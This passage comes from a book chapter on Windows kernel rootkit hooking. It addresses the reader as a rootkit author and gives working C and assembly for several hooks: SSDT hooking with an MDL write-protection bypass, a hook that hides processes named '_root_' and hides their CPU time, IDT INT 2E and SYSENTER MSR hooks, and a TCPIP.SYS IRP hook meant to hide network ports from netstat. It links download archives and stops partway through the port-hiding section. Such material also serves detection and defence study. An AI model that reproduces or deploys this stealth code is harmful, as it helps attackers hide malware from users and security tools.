Kernel Hooks

 < Day Day Up > 

As explained in the previous section, userland hooks are useful, but they are relatively easy to detect and prevent. (Userland-hook detection is discussed in detail in Chapter 10, Rootkit Detection.) A more elegant solution is to install a kernel memory hook. By using a kernel hook, your rootkit will be on equal footing with any detection software.

Kernel memory is the high virtual address memory region. In the Intel x86 architecture, kernel memory usually resides in the region of memory at 0x80000000 and above. If the /3GB boot configuration switch is used, which allows a process to have 3 GB of virtual memory, the kernel memory starts at 0xC0000000.

As a general rule, processes cannot access kernel memory. The exception to this rule is when a process has debug privileges and goes through certain debugging APIs, or when a call gate has been installed. We will not cover these exceptions here. For more information on call gates refer to the Intel Architecture Manuals.[4]

[4] IA-32 Intel Architecture Software Developer's Manual, Volume 3, Section 4.8.

For our purposes, your rootkit will access kernel memory by implementing a device driver.

The kernel provides the ideal place to install a hook. There are many reasons for this, but the two that are most important to remember are that kernel hooks are global (relatively speaking), and that they are harder to detect, because if your rootkit and the protection/detection software are both in Ring Zero, your rootkit has an even playing field on which to evade or disable the protection/detection software. (For more on rings, refer to Chapter 3, The Hardware Connection.)

In this section, we will cover the three most common places to hook, but be aware that you can find others depending on what your rootkit is intended to accomplish.

Hooking the System Service Descriptor Table

The Windows executive runs in kernel mode and provides native support to all of the operating system's subsystems: Win32, POSIX, and OS/2. These native system services' addresses are listed in a kernel structure called the System Service Dispatch Table (SSDT).[5] This table can be indexed by system call number to locate the address of the function in memory. Another table, called the System Service Parameter Table (SSPT),[6] specifies the number of bytes for the function parameters for each system service.

[5] P. Dabak, S. Phadke, and M. Borate, Undocumented Windows NT (New York: M&T Books, 1999), pp. 117 29.

[6] Ibid., pp. 128 9.

The KeServiceDescriptorTable is a table exported by the kernel. The table contains a pointer to the portion of the SSDT that contains the core system services implemented in Ntoskrnl.exe, which is a major piece of the kernel. The KeServiceDescriptorTable also contains a pointer to the SSPT.

The KeServiceDescriptorTable is depicted in Figure 4-4. The data in this illustration is from Windows 2000 Advanced Server with no service packs applied. The SSDT in Figure 4-4 contains the addresses of individual functions exported by the kernel. Each address is four bytes long.

Figure 4-4. KeServiceDescriptorTable.


To call a specific function, the system service dispatcher, KiSystemService, simply takes the ID number of the desired function and multiplies it by 4 to get the offset into the SSDT. Notice that KeServiceDescriptorTable contains the number of services. This value is used to find the maximum offset into the SSDT or the SSPT. The SSPT is also depicted in Figure 4-4. Each element in this table is one byte in size and specifies in hex how many bytes its corresponding function in the SSDT takes as parameters. In this example, the function at address 0x804AB3BF takes 0x18 bytes of parameters.

There is another table, called KeServiceDescriptorTableShadow, that contains the addresses of USER and GDI services implemented in the kernel driver, Win32k.sys. Dabak et al. describe these tables in Undocumented Windows NT.

A system service dispatch is triggered when an INT 2E or SYSENTER instruction is called. This causes a process to transition into kernel mode by calling the system service dispatcher. An application can call the system service dispatcher, KiSystemService, directly, or through the use of the subsystem. If the subsystem (such as Win32) is used, it calls into Ntdll.dll, which loads EAX with the system service identifier number or index of the system function requested. It then loads EDX with the address of the function parameters in user mode. The system service dispatcher verifies the number of parameters, and copies them from the user stack onto the kernel stack. It then calls the function stored at the address indexed in the SSDT by the service identifier number in EAX. (This process is discussed in more detail in the section Hooking the Interrupt Descriptor Table, later in this chapter.)

Once your rootkit is loaded as a device driver, it can change the SSDT to point to a function it provides instead of into Ntoskrnl.exe or Win32k.sys. When a non-kernel application calls into the kernel, the request is processed by the system service dispatcher, and your rootkit's function is called. At this point, the rootkit can pass back whatever bogus information it wants to the application, effectively hiding itself and the resources it uses.

Changing the SSDT Memory Protections

As we discussed in Chapter 2, some versions of Windows come with write protection enabled for certain portions of memory. This becomes more common with later versions, such as Windows XP and Windows 2003. These later versions of the operating system make the SSDT read-only because it is unlikely that any legitimate program would need to modify this table.

Write protection presents a significant problem to your rootkit if you want to filter the responses returned from certain system calls using call hooking. If an attempt is made to write to a read-only portion of memory, such as the SSDT, a Blue Screen of Death (BSoD) will occur. In Chapter 2, you learned how you could modify the CR0 register to bypass the memory protection and avoid this BSoD. This section explains another method for changing memory protections, using processes more thoroughly documented by Microsoft.

You can describe a region of memory in a Memory Descriptor List (MDL). MDLs contain the start address, owning process, number of bytes, and flags for the memory region:

 // MDL references defined in ntddk.h typedef struct _MDL {     struct _MDL *Next;     CSHORT Size;     CSHORT MdlFlags;     struct _EPROCESS *Process;     PVOID MappedSystemVa;     PVOID StartVa;     ULONG ByteCount;     ULONG ByteOffset; } MDL, *PMDL; // MDL Flags #define MDL_MAPPED_TO_SYSTEM_VA     0x0001 #define MDL_PAGES_LOCKED            0x0002 #define MDL_SOURCE_IS_NONPAGED_POOL 0x0004 #define MDL_ALLOCATED_FIXED_SIZE    0x0008 #define MDL_PARTIAL                 0x0010 #define MDL_PARTIAL_HAS_BEEN_MAPPED 0x0020 #define MDL_IO_PAGE_READ            0x0040 #define MDL_WRITE_OPERATION         0x0080 #define MDL_PARENT_MAPPED_SYSTEM_VA 0x0100 #define MDL_LOCK_HELD               0x0200 #define MDL_PHYSICAL_VIEW           0x0400 #define MDL_IO_SPACE                0x0800 #define MDL_NETWORK_HEADER          0x1000 #define MDL_MAPPING_CAN_FAIL        0x2000 #define MDL_ALLOCATED_MUST_SUCCEED  0x4000 

To change the flags on the memory, the code below starts by declaring a structure used to cast the KeServiceDescriptorTable variable exported by the Windows kernel. You need the KeServiceDescriptorTable base and the number of entries it contains when you call MmCreateMdl. This defines the beginning and the size of the memory region you want the MDL to describe. Your rootkit then builds the MDL from the non-paged pool of memory.

Your rootkit changes the flags on the MDL to allow you to write to a memory region by ORing them with the aforementioned MDL_MAPPED_TO_SYSTEM_VA. Next, it locks the MDL pages in memory by calling MmMapLockedPages.

Now you are ready to begin hooking the SSDT. In the following code, MappedSystemCallTable represents the same address as the original SSDT, but you can now write to it.

 // Declarations #pragma pack(1) typedef struct ServiceDescriptorEntry {         unsigned int *ServiceTableBase;         unsigned int *ServiceCounterTableBase;         unsigned int NumberOfServices;         unsigned char *ParamTableBase; } SSDT_Entry; #pragma pack() __declspec(dllimport) SSDT_Entry KeServiceDescriptorTable; PMDL  g_pmdlSystemCall; PVOID *MappedSystemCallTable; // Code // save old system call locations // Map the memory into our domain to change the permissions on // the MDL g_pmdlSystemCall = MmCreateMdl(NULL,                    KeServiceDescriptorTable.ServiceTableBase,                    KeServiceDescriptorTable.NumberOfServices*4); if(!g_pmdlSystemCall)    return STATUS_UNSUCCESSFUL; MmBuildMdlForNonPagedPool(g_pmdlSystemCall); // Change the flags of the MDL g_pmdlSystemCall->MdlFlags = g_pmdlSystemCall->MdlFlags |                              MDL_MAPPED_TO_SYSTEM_VA; MappedSystemCallTable = MmMapLockedPages(g_pmdlSystemCall, KernelMode); 

Hooking the SSDT

Several macros are useful for hooking the SSDT. The SYSTEMSERVICE macro takes the address of a function exported by ntoskrnl.exe, a Zw* function, and returns the address of the corresponding Nt* function in the SSDT. The Nt* functions are the private functions whose addresses are contained in the SSDT. The Zw* functions are those exported by the kernel for the use of device drivers and other kernel components. Note that there is not a one-to-one correspondence between each entry in the SSDT and each Zw* function.

The SYSCALL_INDEX macro takes the address of a Zw* function and returns its corresponding index number in the SSDT. This macro and the SYSTEMSERVICE[7] macro work because of the opcode at the beginning of the Zw* functions. As of this writing, all the Zw* functions in the kernel begin with the opcode mov eax, ULONG, where ULONG is the index number of the system call in the SSDT. By looking at the second byte of the function as a ULONG, these macros get the index number of the function.

[7] P. Dabak, S. Phadke, and M. Borate, Undocumented Windows NT (New York: M&T Books, 1999), p. 119.

The HOOK_SYSCALL and UNHOOK_SYSCALL macros take the address of the Zw* function being hooked, get its index, and atomically exchange the address at that index in the SSDT with the address of the _Hook function.[8]

[8] The HOOK_SYSCALL, UNHOOK_SYSCALL, and SYSCALL_INDEX macros were taken from the Regmon source code from Sysinternals.com. The Regmon code is no longer available for download.

 #define SYSTEMSERVICE(_func) \   KeServiceDescriptorTable.ServiceTableBase[ *(PULONG)((PUCHAR)_func+1)] #define SYSCALL_INDEX(_Function) *(PULONG)((PUCHAR)_Function+1) #define HOOK_SYSCALL(_Function, _Hook, _Orig )       \         _Orig = (PVOID) InterlockedExchange( (PLONG) \         &MappedSystemCallTable[SYSCALL_INDEX(_Function)], (LONG) _Hook) #define UNHOOK_SYSCALL(_Func, _Hook, _Orig )  \         InterlockedExchange((PLONG)           \         &MappedSystemCallTable[SYSCALL_INDEX(_Func)], (LONG) _Hook) 

These macros will help you write your own rootkit that hooks the SSDT. Their use is demonstrated in the upcoming example.

Now that you know a little about hooking the SSDT, let's look at the example.

Example: Hiding Processes using an SSDT Hook

The Windows operating system uses the ZwQuerySystemInformation function to issue queries for many different types of information. Taskmgr.exe, for example, uses this function to get a list of processes on the system. The type of information returned depends on the SystemInformationClass requested. To get a process list, the SystemInformationClass is set to 5, as defined in the Microsoft Windows DDK.

Once your rootkit has replaced the NtQuerySystemInformation function in the SSDT, your hook can call the original function and filter the results.

Figure 4-5 illustrates the way process records are returned in a buffer by NtQuerySystemInformation.

Figure 4-5. Structure of SystemInformationClass buffer.


The information contained in the buffer comprises _SYSTEM_PROCESSES structures and their corresponding _SYSTEM_THREADS structures. One important item in the _SYSTEM_PROCESSES structure is the UNICODE_STRING containing the process name. There are also two LARGE_INTEGERs containing the user and kernel time used by the process. When you hide a process, your rootkit should add the time the process spent executing to another process in the list, so that all the recorded times add up to 100% of the CPU time.

The following code illustrates the format of the process and thread structures in the buffer returned by ZwQuerySystemInformation:

 struct _SYSTEM_THREADS {         LARGE_INTEGER           KernelTime;         LARGE_INTEGER           UserTime;         LARGE_INTEGER           CreateTime;         ULONG                   WaitTime;         PVOID                   StartAddress;         CLIENT_ID               ClientIs;         KPRIORITY               Priority;         KPRIORITY               BasePriority;         ULONG                   ContextSwitchCount;         ULONG                   ThreadState;         KWAIT_REASON            WaitReason; }; struct _SYSTEM_PROCESSES {         ULONG                   NextEntryDelta;         ULONG                   ThreadCount;         ULONG                   Reserved[6];         LARGE_INTEGER           CreateTime;         LARGE_INTEGER           UserTime;         LARGE_INTEGER           KernelTime;         UNICODE_STRING          ProcessName;         KPRIORITY               BasePriority;         ULONG                   ProcessId;         ULONG                   InheritedFromProcessId;         ULONG                   HandleCount;         ULONG                   Reserved2[2];         VM_COUNTERS             VmCounters;         IO_COUNTERS             IoCounters; //windows 2000 only         struct _SYSTEM_THREADS  Threads[1]; }; 

The following NewZwQuerySystemInformation function filters all the processes whose names begin with "_root_." It also adds the running times of these hidden processes to the Idle process.

 /////////////////////////////////////////////////////////////////////// // NewZwQuerySystemInformation function // // ZwQuerySystemInformation() returns a linked list // of processes. // The function below imitates it, except that it removes // from the list any process whose name begins // with "_root_". NTSTATUS NewZwQuerySystemInformation(             IN ULONG SystemInformationClass,             IN PVOID SystemInformation,             IN ULONG SystemInformationLength,             OUT PULONG ReturnLength) {    NTSTATUS ntStatus;    ntStatus = ((ZWQUERYSYSTEMINFORMATION)(OldZwQuerySystemInformation))                                          (SystemInformationClass,                                          SystemInformation,                                          SystemInformationLength,                                          ReturnLength);    if( NT_SUCCESS(ntStatus))    {       // Asking for a file and directory listing       if(SystemInformationClass == 5)       {         // This is a query for the process list.         // Look for process names that start with         // "_root_" and filter them out.          struct _SYSTEM_PROCESSES *curr =                 (struct _SYSTEM_PROCESSES *) SystemInformation;         struct _SYSTEM_PROCESSES *prev = NULL;         while(curr)         {           //DbgPrint("Current item is %x\n", curr);           if (curr->ProcessName.Buffer != NULL)           {              if(0 == memcmp(curr->ProcessName.Buffer, L"_root_", 12))              {                m_UserTime.QuadPart += curr->UserTime.QuadPart;                m_KernelTime.QuadPart +=                                     curr->KernelTime.QuadPart;                if(prev) // Middle or Last entry                {                   if(curr->NextEntryDelta)                      prev->NextEntryDelta +=                                          curr->NextEntryDelta;                   else     // we are last, so make prev the end                      prev->NextEntryDelta = 0;                }                else                {                   if(curr->NextEntryDelta)                   {                      // we are first in the list, so move it                      // forward                      (char*)SystemInformation +=                                        curr->NextEntryDelta;                   }                   else // we are the only process!                      SystemInformation = NULL;                }              }           }           else // This is the entry for the Idle process           {              // Add the kernel and user times of _root_*              // processes to the Idle process.              curr->UserTime.QuadPart += m_UserTime.QuadPart;              curr->KernelTime.QuadPart += m_KernelTime.QuadPart;              // Reset the timers for next time we filter              m_UserTime.QuadPart = m_KernelTime.QuadPart = 0;           }           prev = curr;            if(curr->NextEntryDelta)((char*)curr+=                                       curr->NextEntryDelta);              else curr = NULL;        }       }      else if (SystemInformationClass == 8)      {          // Query for SystemProcessorTimes          struct _SYSTEM_PROCESSOR_TIMES * times =            (struct _SYSTEM_PROCESSOR_TIMES *)SystemInformation;          times->IdleTime.QuadPart += m_UserTime.QuadPart +                                         m_KernelTime.QuadPart;       }    }    return ntStatus; } 

Rootkit.com

You can download the code to hook the SSDT and hide processes at: www.rootkit.com/vault/fuzen_op/HideProcessHookMDL.zip


With the preceding hook in place, your rootkit will hide all processes that have names beginning with "_root_." The name of the processes to hide can be changed; this is just one example. There are a lot of other functions within the SSDT that you may want to hook as well.

Now that you have a better understanding of SSDT hooks, let's talk about other places in the kernel that can be hooked.

Hooking the Interrupt Descriptor Table

As the name implies, the Interrupt Descriptor Table (IDT) is used to handle interrupts. Interrupts can originate from software or hardware. The IDT specifies how to process interrupts such as those fired when a key is pressed, when a page fault occurs (entry 0x0E in the IDT), or when a user process requests the attention of the System Service Descriptor Table (SSDT), which is entry 0x2E in Windows. This section will show you how to install a hook on the 0x2E vector in the IDT. This hook will get called before the kernel function in the SSDT.

Two points are important to note when dealing with the IDT. First, each processor has its own IDT, which is an issue on multi-processor machines. Hooking just the processor on which your code is currently executing is not sufficient; all the IDTs on the system must be hooked. (For more information on how to get your hooking function to run on a particular processor, see the Synchronization Issues section in Chapter 7, Direct Kernel Object Manipulation.)

Also, execution control does not return to the IDT handler, so the typical hook technique of calling the original function, filtering the data, and then returning from the hook will not work. The IDT hook is just a pass-through function and will never regain control, so it cannot filter data. However, your rootkit could identify or block requests from a particular piece of software, such as a Host Intrusion Prevention System (HIPS) or a personal firewall.

When an application needs the assistance of the operating system, NTDLL.DLL loads the EAX register with the index number of the system call in the SSDT and the EDX register with a pointer to the user stack parameters. The NTDLL.DLL then issues an INT 2E instruction. This interrupt is the signal to transfer from userland to the kernel. (Note: Newer versions of Windows use the SYSENTER instruction, as opposed to an INT 2E. SYSENTER is covered later in this chapter.)

The SIDT instruction is used to find the IDT in memory for each CPU. It returns the address of the IDTINFO structure. Because the IDT location is split into a lower WORD value and a higher WORD value, use the macro MAKELONG to get the correct DWORD value with the most significant WORD first:

 typedef struct {    WORD IDTLimit;    WORD LowIDTbase;    WORD HiIDTbase; } IDTINFO; #define MAKELONG(a, b)((LONG)(((WORD)(a))|((DWORD)((WORD)(b))) << 16)) 

Each entry within the IDT has its own structure that is 64 bits long. The entries also display this split WORD characteristic. Every entry contains the address of the function that will handle a particular interrupt. The LowOffset and the HiOffset in the IDTENTRY structure comprise the address of the interrupt handler.

Here is the structure of each entry in the IDT:

 #pragma pack(1) typedef struct {      WORD LowOffset;      WORD selector;      BYTE unused_lo;      unsigned char unused_hi:5; // stored TYPE ?      unsigned char DPL:2;      unsigned char P:1;         // vector is present      WORD HiOffset; } IDTENTRY; #pragma pack() 

The following HookInterrupts function declares a global DWORD that will store the real INT 2E function handler, KiSystemService. It also defines NT_SYSTEM_SERVICE_INT as 0x2E. This is the index in the IDT you will hook. The code will replace the real entry in the IDT with an IDTENTRY containing the address of your hook.

 DWORD KiRealSystemServiceISR_Ptr; // The real INT 2E handler #define NT_SYSTEM_SERVICE_INT 0x2e int HookInterrupts() {    IDTINFO idt_info;    IDTENTRY* idt_entries;    IDTENTRY* int2e_entry;    __asm{       sidt idt_info;    }    idt_entries =             (IDTENTRY*)MAKELONG(idt_info.LowIDTbase,idt_info.HiIDTbase);    KiRealSystemServiceISR_Ptr =  // Save the real address of the                                  // handler. MAKELONG(idt_entries[NT_SYSTEM_SERVICE_INT].LowOffset,          idt_entries[NT_SYSTEM_SERVICE_INT].HiOffset);    /*******************************************************     * Note: we can patch ANY interrupt here;     * the sky is the limit     *******************************************************/    int2e_entry = &(idt_entries[NT_SYSTEM_SERVICE_INT]);    __asm{      cli;                       // Mask Interrupts      lea eax,MyKiSystemService; // Load EAX with the address of                                 // hook      mov ebx, int2e_entry;      // Address of INT 2E handler in                                 // table      mov [ebx],ax;              // Overwrite real handler with                                 // the low                                // 16 bits of the hook address.      shr eax,16      mov [ebx+6],ax;           // Overwrite real handler with                                // the high                                // 16 bits of the hook address.      sti;                      // Enable Interrupts again.    }    return 0; } 

Now that you have installed the hook in the IDT, you can detect or prevent any process using any system call. Remember that the system call number is contained in the EAX register. You can get a pointer to the current EPROCESS by calling PsGetCurrentProcess. Here is the code prototype to begin this

 __declspec(naked) MyKiSystemService() {    __asm{       pushad    pushfd    push fs    mov bx,0x30    mov fs,bx    push ds    push es       // Insert detection or prevention code here.    Finish:    pop es    pop ds    pop fs    popfd    popad    jmp   KiRealSystemServiceISR_Ptr;  // Call the real function    } } 

Rootkit.com

The code for this example may be downloaded at: www.rootkit.com/vault/fuzen_op/strace_Fuzen.zip


SYSENTER

Newer versions of Windows no longer use INT 2E or go through the IDT to request the services in the system call table. Instead, they use the fast call method. In this case, NTDLL loads the EAX register with the system call number of the requested service and the EDX register with the current stack pointer, ESP. NTDLL then issues the Intel instruction SYSENTER.

The SYSENTER instruction passes control to the address specified in one of the Model-Specific Registers (MSRs). The name of this register is IA32_SYSENTER_EIP. You can read and write to this register, but it is a privileged instruction, which means you must perform this instruction from Ring Zero.

Here is a simple driver that reads the value of the IA32_SYSENTER_EIP, stores it in a global variable, and then fills the register with the address of our hook. The hook, MyKiFastCallEntry, does not do anything except jump to the original function. This is the first step necessary to hook the SYSENTER control flow.

 #include "ntddk.h" ULONG d_origKiFastCallEntry; // Original value of                                                   // ntoskrnl!KiFastCallEntry VOID OnUnload( IN PDRIVER_OBJECT DriverObject ) {    DbgPrint("ROOTKIT: OnUnload called\n"); } // Hook function __declspec(naked) MyKiFastCallEntry() {    __asm {       jmp [d_origKiFastCallEntry]    } } NTSTATUS DriverEntry(PDRIVER_OBJECT theDriverObject,                                        PUNICODE_STRING theRegistryPath) {    theDriverObject->DriverUnload  = OnUnload;    __asm {       mov ecx, 0x176       rdmsr   // read the value of the IA32_SYSENTER_EIP               // register       mov d_origKiFastCallEntry, eax       mov eax, MyKiFastCallEntry     // Hook function address       wrmsr      // Write to the IA32_SYSENTER_EIP register    }    return STATUS_SUCCESS; } 

Rootkit.com

The code for the SYSENTER hook is located at: www.rootkit.com/vault/fuzen_op/SysEnterHook.zip.


Hooking the Major I/O Request Packet Function Table in the Device Driver Object

Another great place to hide in the kernel is in the function table contained in every device driver. When a driver is installed, it initializes a table of function pointers that have the addresses of its functions that handle the different types of I/O Request Packets (IRPs). IRPs handle several types of requests, such as reads, writes, and queries. Since drivers are very low level in the control flow, they represent ideal places to hook.

The following is a standard list of IRP types defined by the Microsoft DDK:

 // Define the major function codes for IRPs. #define IRP_MJ_CREATE                   0x00 #define IRP_MJ_CREATE_NAMED_PIPE        0x01 #define IRP_MJ_CLOSE                    0x02 #define IRP_MJ_READ                     0x03 #define IRP_MJ_WRITE                    0x04 #define IRP_MJ_QUERY_INFORMATION        0x05 #define IRP_MJ_SET_INFORMATION          0x06 #define IRP_MJ_QUERY_EA                 0x07 #define IRP_MJ_SET_EA                   0x08 #define IRP_MJ_FLUSH_BUFFERS            0x09 #define IRP_MJ_QUERY_VOLUME_INFORMATION 0x0a #define IRP_MJ_SET_VOLUME_INFORMATION   0x0b #define IRP_MJ_DIRECTORY_CONTROL        0x0c #define IRP_MJ_FILE_SYSTEM_CONTROL      0x0d #define IRP_MJ_DEVICE_CONTROL           0x0e #define IRP_MJ_INTERNAL_DEVICE_CONTROL  0x0f #define IRP_MJ_SHUTDOWN                 0x10 #define IRP_MJ_LOCK_CONTROL             0x11 #define IRP_MJ_CLEANUP                  0x12 #define IRP_MJ_CREATE_MAILSLOT          0x13 #define IRP_MJ_QUERY_SECURITY           0x14 #define IRP_MJ_SET_SECURITY             0x15 #define IRP_MJ_POWER                    0x16 #define IRP_MJ_SYSTEM_CONTROL           0x17 #define IRP_MJ_DEVICE_CHANGE            0x18 #define IRP_MJ_QUERY_QUOTA              0x19 #define IRP_MJ_SET_QUOTA                0x1a #define IRP_MJ_PNP                      0x1b #define IRP_MJ_PNP_POWER                IRP_MJ_PNP   //Obsolete #define IRP_MJ_MAXIMUM_FUNCTION         0x1b 

The IRPs and the particular driver of interest will depend upon what you are intending to accomplish. For example, you could hook the functions dealing with file system writes or TCP queries. However, there is one problem with this hooking approach. Much like the IDT, the functions that handle the major IRPs are not designed to call the original function and then filter the results. These functions are not to be returned to from the lower device driver in the call stack. Figure 4-6 illustrates how a device object leads to the driver object where the IRP_MJ_* function table is stored.

Figure 4-6. Illustration of hooking a driver's IRP table.


In the following example, we will show you how to hide network ports from programs such as netstat.exe using an IRP hook in the TCPIP.SYS driver, which manages TCP ports.

Here is the typical output from netstat.exe listing all the TCP connections:

 C:\Documents and Settings\Fuzen>netstat -p TCP Active Connections   Proto  Local Address        Foreign Address        State   TCP    LIFE:1027            localhost:1422         ESTABLISHED   TCP    LIFE:1027            localhost:1424         ESTABLISHED   TCP    LIFE:1027            localhost:1428         ESTABLISHED   TCP    LIFE:1410            localhost:1027         CLOSE_WAIT   TCP    LIFE:1422            localhost:1027         ESTABLISHED   TCP    LIFE:1424            localhost:1027         ESTABLISHED   TCP    LIFE:1428            localhost:1027         ESTABLISHED   TCP    LIFE:1463            localhost:1027         CLOSE_WAIT   TCP    LIFE:1423            64.12.28.72:5190       ESTABLISHED   TCP    LIFE:1425            64.12.24.240:5190      ESTABLISHED   TCP    LIFE:3537            64.233.161.104:http    ESTABLISHED 

Here we see the protocol name, source address and port, destination address and port, and state of each connection.

Obviously, you do not want your rootkit to show any established outbound connections. One way to avoid this is to hook TCPIP.SYS and filter the IRPs used to query this information.

Finding the Driver IRP Function Table

In preparing to hide your network port usage, your first task is to find the driver object in memory. In this case, we are interested in TCPIP.SYS and the device object associated with it, which is called \\DEVICE\\TCP. The kernel provides a useful function that returns a pointer to the object of any device, IoGetDeviceObjectPointer. Given a name, it returns the corresponding file object and device object. The device object contains a pointer to the driver object, which holds the target function table. Your rootkit should save the old value of the function pointer you are hooking. You will need to eventually call this in your hook. Also, if you ever want to unload your rootkit, you will need to restore the original function address in the table. We use InterlockedExchange because it is an atomic operation with regard to the other InterlockedXXX functions.

The following code gets the pointer to TCPIP.SYS given a device name, and hooks a single entry in the IRP function table. In InstallTCPDriverHook(), you will replace the function pointer in TCPIP.SYS that deals with IRP_MJ_DEVICE_CONTROL. This is the IRP used to query the device, TCP.

 PFILE_OBJECT pFile_tcp; PDEVICE_OBJECT pDev_tcp; PDRIVER_OBJECT pDrv_tcpip; typedef NTSTATUS (*OLDIRPMJDEVICECONTROL)(IN PDEVICE_OBJECT, IN PIRP); OLDIRPMJDEVICECONTROL OldIrpMjDeviceControl; NTSTATUS InstallTCPDriverHook() {    NTSTATUS       ntStatus;    UNICODE_STRING deviceTCPUnicodeString;    WCHAR deviceTCPNameBuffer[] = L"\\Device\\Tcp";    pFile_tcp  = NULL;    pDev_tcp   = NULL;    pDrv_tcpip = NULL;    RtlInitUnicodeString (&deviceTCPUnicodeString,                          deviceTCPNameBuffer);    ntStatus = IoGetDeviceObjectPointer(&deviceTCPUnicodeString,                                  FILE_READ_DATA, &pFile_tcp,                                  &pDev_tcp);    if(!NT_SUCCESS(ntStatus))       return ntStatus;    pDrv_tcpip = pDev_tcp->DriverObject;    OldIrpMjDeviceControl = pDrv_tcpip-> MajorFunction[IRP_MJ_DEVICE_CONTROL];    if (OldIrpMjDeviceControl)       InterlockedExchange ((PLONG)&pDrv_tcpip-> MajorFunction[IRP_MJ_DEVICE_CONTROL],                            (LONG)HookedDeviceControl);    return STATUS_SUCCESS; } 

When this code is executed, your hook is installed in the TCPIP.SYS driver.

IRP Hook Function

Now that your hook is installed in the TCPIP.SYS driver, you are ready to begin receiving IRPs in your HookedDeviceControl function. There are many different types of requests even within IRP_MJ_DEVICE_CONTROL for TCPIP.SYS.

All the IRPs of type IRP_MJ_* are to be covered in the first level of filtering you must do. "IRP_MJ" stands for major IRP type. There is also a minor type in every IRP.

In addition to major and minor IRP types, the IoControlCode in the IRP is used to identify a particular type of request. For this example, you are concerned only with IRPs with the IoControlCode of IOCTL_TCP_QUERY_INFORMATION_EX. These IRPs return the list of ports to programs such as netstat.exe. The rootkit should cast the input buffer of the IRP to the following TDIObjectID. In hiding TCP ports, your rootkit will focus only on the entity requests of CO_TL_ENTITY. CL_TL_ENTITY is used for UDP requests. The toi_id of the TDIObjectID is also important. Its value depends on what switches were used when the user invoked netstat (for example, netstat.exe -o). We will discuss this field in more detail in the next section.

 #define CO_TL_ENTITY                  0x400 #define CL_TL_ENTITY                  0x401 #define IOCTL_TCP_QUERY_INFORMATION_EX 0x00120003 //* Structure of an entity ID. typedef struct TDIEntityID {    ulong      tei_entity;    ulong      tei_instance; } TDIEntityID; //* Structure of an object ID. typedef struct TDIObjectID {    TDIEntityID   toi_entity;    ulong      toi_class;    ulong      toi_type;    ulong      toi_id; } TDIObjectID; 

HookedDeviceControl needs a pointer to the current IRP stack, where the major and minor function codes of the IRP are stored. Since we hooked IRP_MJ_DEVICE_CONTROL, we would naturally expect that to be the major function code, but a little sanity checking may be done to confirm this.

Another important piece of information in the IRP stack is the control code. For our purposes, we are interested only in the IOCTL_TCP_QUERY_INFORMATION_EX control code.

The next step is to find where the input buffer is within the IRP. For netstat requests, the kernel and user programs transfer information buffers using a method called METHOD_NEITHER. This method causes the input buffer to be found in the Parameters.DeviceIoControl.Type3InputBuffer of the IRP stack. The rootkit should cast the input buffer to a pointer to a TDIObjectID structure. You can use the preceding structures to locate a request you are interested in altering. For hiding TCP ports, inputBuffer->toi_entity.tei_entity should equal CO_TL_ENTITY and inputBuffer->toi_id can be one of three values. The meaning of this ID, toi_id, is explained in the next section.

If this IRP is indeed a query your rootkit is to alter, you must change the IRP to contain a pointer to a callback function of your choosing, which in this case is your rootkit's IoCompletionRoutine. You also must change the control flags in the IRP. These signal the I/O Manager to call your completion routine once the driver below you (TCPIP.SYS) has successfully finished processing the IRP and filling in the output buffer with the requested information.

You can pass only one parameter to your completion routine. This is contained in irpStack->Context. However, you need to pass two pieces of information. The first is a pointer to the original completion routine in the IRP, if there was one. The second piece of information is the value of inputBuffer->toi_id, because this field contains an ID used to determine the format of the output buffer. The last line of HookedDeviceControl calls OldIrpMjDeviceControl, which was the original IRP_MJ_DEVICE_CONTROL function handler in the TCPIP.SYS driver object.

 NTSTATUS HookedDeviceControl(IN PDEVICE_OBJECT DeviceObject,                              IN PIRP Irp) {    PIO_STACK_LOCATION      irpStack;    ULONG                   ioTransferType;    TDIObjectID             *inputBuffer;    DWORD                   context;    // Get a pointer to the current location in the IRP. This is where    // the function codes and parameters are located.    irpStack = IoGetCurrentIrpStackLocation (Irp);    switch (irpStack->MajorFunction)    {       case IRP_MJ_DEVICE_CONTROL:          if ((irpStack->MinorFunction == 0) &&              (irpStack->Parameters.DeviceIoControl.IoControlCode              == IOCTL_TCP_QUERY_INFORMATION_EX))          {             ioTransferType =              irpStack->Parameters.DeviceIoControl.IoControlCode;             ioTransferType &= 3;             // Need to know the method to find input buffer             if (ioTransferType == METHOD_NEITHER)             {                inputBuffer = (TDIObjectID *)                  irpStack->Parameters.DeviceIoControl.Type3InputBuffer;                // CO_TL_ENTITY is for TCP and CL_TL_ENTITY is for UDP                if (inputBuffer->toi_entity.tei_entity == CO_TL_ENTITY)                {                   if ((inputBuffer->toi_id == 0x101) ||                       (inputBuffer->toi_id == 0x102) ||                       (inputBuffer->toi_id == 0x110))                   {                      // Call our completion routine if IRP succeeds.                      // To do this, change the Control flags in the IRP.                      irpStack->Control = 0;                      irpStack->Control |= SL_INVOKE_ON_SUCCESS;                      // Save old completion routine if present                      irpStack->Context =(PIO_COMPLETION_ROUTINE)                                     ExAllocatePool(NonPagedPool,                                     sizeof(REQINFO));                      ((PREQINFO)irpStack->Context)->                            OldCompletion =                                     irpStack->CompletionRoutine;                      ((PREQINFO)irpStack->Context)->ReqType =                                             inputBuffer->toi_id;                      // Setup our function to be called                      // upon completion of the IRP                      irpStack->CompletionRoutine = (PIO_COMPLETION_ROUTINE) IoCompletionRoutine;                   }                }            }         }         break;         default:         break;    }    // Call the original function    return OldIrpMjDeviceControl(DeviceObject, Irp); } 

Now that you have inserted into the IRP a pointer to your callback function, IoCompletionRoutine, it is time to write the completion routine.

IRP Completion Routines

In the code described above, you inserted your own completion routine into the existing IRP as it was intercepted by your hook and before you called the original function. This is the only way to alter the information the lower driver(s) will place into the IRP. Your rootkit driver is now essentially hooked in, above the real driver(s). The lower driver (for example, TCPIP.SYS) takes control once you call the original IRP handler. Normally, the IRP handler, which was used as your hook function, is never returned to from the call stack. That is why you must insert a completion routine. With this routine in place, after TCPIP.SYS fills in the IRP with information about all the network ports, it will return to your completion routine (because you have wedged it into the original IRP). For a more complete explanation of IRPs and their completion routines, see Chapter 6, Layered Drivers.

In the following code sample, IoCompletionRoutine is called after TCPIP.SYS has filled in the output buffer in the IRP with a structure for each existing TCP port on the host. The exact structure of this buffer depends on which switches have been used to run netstat. The options available depend upon the operating system version in use. The -o option also causes netstat to list the process that owns the port. In this case, TCPIP.SYS returns a buffer containing CONNINFO102 structures. The -b option will return CONNINFO110 structures with the port information. Otherwise, the structures returned are of type CONNINFO101. These three types of structures, and the information each one contains, are as follows:

